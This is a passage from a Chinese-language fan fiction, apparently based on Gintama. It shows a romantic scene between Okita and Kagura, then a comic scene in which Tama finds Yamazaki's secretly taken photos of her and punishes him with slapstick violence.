你买的鞋没有高跟,够不到。 冲田瞪大眼睛,看着一脸别扭地自言自语的神乐,破颜而笑。他快步走到神乐身边,弯下脸靠近,然后慢慢地把嘴唇重叠在一起。 抱着满脸通红的神乐,冲田在她耳边低语。 “这样不就好了吗?” 冲田拉着脸颊泛红、不知在喊些什么的神乐的手走出了房间。先去伞店买把伞,然后再去珠宝店吧。鞋子、衣服、发饰、雨伞,最后是首饰。如果送给她一枚银戒指,她会是什么表情呢? 预感到幸福的未来,冲田再次用力握住了神乐的手。 同一时期。 今天也在电线杆的影子里等待小玉的山崎,望着手边咧嘴笑着。山崎把前几天用玫瑰色高跟鞋换来的许多心上人的照片,小心翼翼地带在身边。 啊,小玉,你真可爱。 山崎看着照片,欣喜若狂。他没有注意到从背后跑过来的孩子。跑得飞快的孩子直接撞到了山崎,冲击力把照片摔得七零八落。 “哇!!” “啊!叔叔,对不起。” “啊,嗯。你没事吧?受伤了吗?” 山崎扶起坐在地上道歉的孩子,帮他掸去衣服上的脏东西,一个清脆的声音传到了他的耳朵里。 “你没事吧?” “小、小玉!” 为了准备开店而来到外面的小玉,听到骚动,赶了过来。 啊,能让小玉担心,今天真是个好日子。 山崎抬起头想道谢,却立刻僵住了。那双无机质的眼睛,目不转睛地盯着散落在地上的照片。从一定的角度拍摄的那个,怎么看都像是偷拍的照片。 “啊,那个,小玉?这是……” 山崎浑身冷汗,开始找借口。小玉一言不发地拿起拖把。 神乐并不知道,几秒钟后,被火焰包围的山崎的垂死挣扎将在清爽的晴空中回响。